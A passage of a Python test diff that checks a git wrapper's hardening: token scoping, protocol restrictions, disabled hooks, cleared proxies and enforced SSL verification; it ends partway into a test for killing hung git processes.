monkeypatch.setenv(AUTH_ENV_VAR, "parent-auth") + monkeypatch.setattr("robomp.git_ops.subprocess.run", fake_run) + auth_url = "https://github.com/octo/widget.git" + + _run_git(["ls-remote", auth_url], cwd=tmp_path, token="scoped-token", auth_url=auth_url) + + env = captured["env"] + cmd = captured["cmd"] + assert isinstance(env, dict) + assert isinstance(cmd, list) + assert env[AUTH_ENV_VAR].startswith("Authorization: Basic ") + assert env[AUTH_ENV_VAR] != "parent-auth" + assert "GITHUB_TOKEN" not in env + assert env["GIT_ALLOW_PROTOCOL"] == "https" + assert env["GIT_CONFIG_NOSYSTEM"] == "1" + assert "--config-env" in cmd + assert f"http.{auth_url}.extraHeader={AUTH_ENV_VAR}" in cmd + assert "protocol.allow=never" in cmd + assert "protocol.https.allow=always" in cmd + assert "protocol.ext.allow=never" in cmd + assert "core.hooksPath=/dev/null" in cmd + assert "http.proxy=" in cmd + assert "http.sslVerify=true" in cmd + assert f"http.{auth_url}.proxy=" in cmd + assert f"http.{auth_url}.sslVerify=true" in cmd + assert f"http.{auth_url}.extraHeader=" in cmd + + def test_run_git_kills_hung_child(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: """A `git` invocation that hangs past the timeout must be killed and raised as `GitCommandError(124)` rather than pinning the calling